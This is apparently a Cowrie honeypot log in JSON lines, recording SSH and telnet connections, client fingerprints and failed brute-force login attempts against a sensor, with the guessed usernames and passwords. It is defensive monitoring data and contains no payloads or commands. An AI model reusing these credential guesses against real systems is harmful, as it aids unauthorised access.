{"eventid":"cowrie.login.failed","username":"root","password":"240283","message":"login attempt [root/240283] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:48:12.669919Z","src_ip":"109.237.96.109","session":"9806e7dea4b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:48:13.765059Z","src_ip":"109.237.96.109","session":"9806e7dea4b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":56142,"dst_ip":"10.17.0.5","dst_port":22,"session":"161a3c237ef1","protocol":"ssh","message":"New connection: 8.210.75.243:56142 (10.17.0.5:22) [session: 161a3c237ef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:48:21.481222Z"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.89.133","src_port":54438,"dst_ip":"10.17.0.5","dst_port":22,"session":"942a79bfd1f2","protocol":"ssh","message":"New connection: 166.62.89.133:54438 (10.17.0.5:22) [session: 942a79bfd1f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:48:23.721001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:48:23.726233Z","src_ip":"166.62.89.133","session":"942a79bfd1f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:48:23.791206Z","src_ip":"166.62.89.133","session":"942a79bfd1f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"B1ttr3x#S3cur3!","message":"login attempt [root/B1ttr3x#S3cur3!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:48:23.986054Z","src_ip":"166.62.89.133","session":"942a79bfd1f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:48:25.052847Z","src_ip":"166.62.89.133","session":"942a79bfd1f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.23023819923401,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:48:25.902575Z","src_ip":"170.64.224.25","session":"4722d50f0891","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:48:27.671345Z","src_ip":"8.210.75.243","session":"bc0293a82231","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":25608,"dst_ip":"159.203.135.109","dst_port":22,"session":"875f194ca680","protocol":"ssh","message":"New connection: 38.93.206.2:25608 (159.203.135.109:22) [session: 875f194ca680]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:48:31.709107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:48:31.712560Z","src_ip":"38.93.206.2","session":"875f194ca680","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:48:31.762229Z","src_ip":"38.93.206.2","session":"875f194ca680","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bennett","message":"login attempt [root/bennett] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:48:31.913871Z","src_ip":"38.93.206.2","session":"875f194ca680","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:48:32.966187Z","src_ip":"38.93.206.2","session":"875f194ca680","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:48:50.269964Z","src_ip":"8.210.75.243","session":"94ecac8b2ddc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.214.154.50","src_port":55328,"dst_ip":"159.203.135.109","dst_port":22,"session":"977d3207c6c7","protocol":"ssh","message":"New connection: 85.214.154.50:55328 (159.203.135.109:22) [session: 977d3207c6c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:49:05.255536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:49:05.259673Z","src_ip":"85.214.154.50","session":"977d3207c6c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:49:05.351793Z","src_ip":"85.214.154.50","session":"977d3207c6c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blockfi456","message":"login attempt [root/blockfi456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:49:05.637703Z","src_ip":"85.214.154.50","session":"977d3207c6c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:49:06.732374Z","src_ip":"85.214.154.50","session":"977d3207c6c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:49:08.217431Z","src_ip":"8.210.75.243","session":"010a503a6915","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":50524,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d09bcac8bd4","protocol":"telnet","message":"New connection: 170.64.224.25:50524 (159.203.135.109:23) [session: 5d09bcac8bd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:49:19.006788Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":35828,"dst_ip":"159.203.135.109","dst_port":22,"session":"decffe981767","protocol":"ssh","message":"New connection: 159.65.58.200:35828 (159.203.135.109:22) [session: decffe981767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:49:23.695039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:49:23.921025Z","src_ip":"159.65.58.200","session":"decffe981767","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:49:23.924073Z","src_ip":"159.65.58.200","session":"decffe981767","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sirunia","password":"123456","message":"login attempt [sirunia/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:49:24.909038Z","src_ip":"159.65.58.200","session":"decffe981767","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:49:26.105068Z","src_ip":"159.65.58.200","session":"decffe981767","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":51124,"dst_ip":"159.203.135.109","dst_port":23,"session":"25682fb909c9","protocol":"telnet","message":"New connection: 170.64.224.25:51124 (159.203.135.109:23) [session: 25682fb909c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:49:33.161250Z"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.142.226","src_port":54824,"dst_ip":"159.203.135.109","dst_port":22,"session":"124cb413ab6a","protocol":"ssh","message":"New connection: 132.148.142.226:54824 (159.203.135.109:22) [session: 124cb413ab6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:49:35.678894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:49:35.697224Z","src_ip":"132.148.142.226","session":"124cb413ab6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:49:35.773664Z","src_ip":"132.148.142.226","session":"124cb413ab6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"atom","password":"atom456","message":"login attempt [atom/atom456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:49:36.133911Z","src_ip":"132.148.142.226","session":"124cb413ab6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":52116,"dst_ip":"10.17.0.5","dst_port":22,"session":"c25c73c64a73","protocol":"ssh","message":"New connection: 8.210.75.243:52116 (10.17.0.5:22) [session: c25c73c64a73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:49:36.936572Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:49:37.232829Z","src_ip":"132.148.142.226","session":"124cb413ab6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":51138,"dst_ip":"159.203.135.109","dst_port":23,"session":"8737e8ee26fe","protocol":"telnet","message":"New connection: 170.64.224.25:51138 (159.203.135.109:23) [session: 8737e8ee26fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:49:37.684228Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.177.22","src_port":48482,"dst_ip":"159.203.135.109","dst_port":22,"session":"9eb95253ce3e","protocol":"ssh","message":"New connection: 162.241.177.22:48482 (159.203.135.109:22) [session: 9eb95253ce3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:49:43.066075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:49:43.069554Z","src_ip":"162.241.177.22","session":"9eb95253ce3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:49:43.097165Z","src_ip":"162.241.177.22","session":"9eb95253ce3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"perpetual789","message":"login attempt [root/perpetual789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:49:43.172767Z","src_ip":"162.241.177.22","session":"9eb95253ce3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:49:44.200671Z","src_ip":"162.241.177.22","session":"9eb95253ce3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:49:47.637958Z","src_ip":"8.210.75.243","session":"47d06915e424","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":35982,"dst_ip":"10.17.0.5","dst_port":22,"session":"c98ae2a99320","protocol":"ssh","message":"New connection: 8.210.75.243:35982 (10.17.0.5:22) [session: c98ae2a99320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:49:57.865243Z"}
{"eventid":"cowrie.session.closed","duration":42.43235802650452,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:50:01.439033Z","src_ip":"170.64.224.25","session":"5d09bcac8bd4","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:50:04.028109Z","src_ip":"8.210.75.243","session":"c98ae2a99320","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":54530,"dst_ip":"159.203.135.109","dst_port":23,"session":"215dcd5f1ca8","protocol":"telnet","message":"New connection: 107.6.151.170:54530 (159.203.135.109:23) [session: 215dcd5f1ca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:50:04.535062Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:50:08.026879Z","src_ip":"8.210.75.243","session":"c98ae2a99320","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.91.11.226","src_port":57892,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4bf3262fa50","protocol":"telnet","message":"New connection: 183.91.11.226:57892 (159.203.135.109:23) [session: e4bf3262fa50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:50:14.261086Z"}
{"eventid":"cowrie.session.connect","src_ip":"183.91.11.226","src_port":58068,"dst_ip":"159.203.135.109","dst_port":23,"session":"5334d18a7103","protocol":"telnet","message":"New connection: 183.91.11.226:58068 (159.203.135.109:23) [session: 5334d18a7103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:50:15.253292Z"}
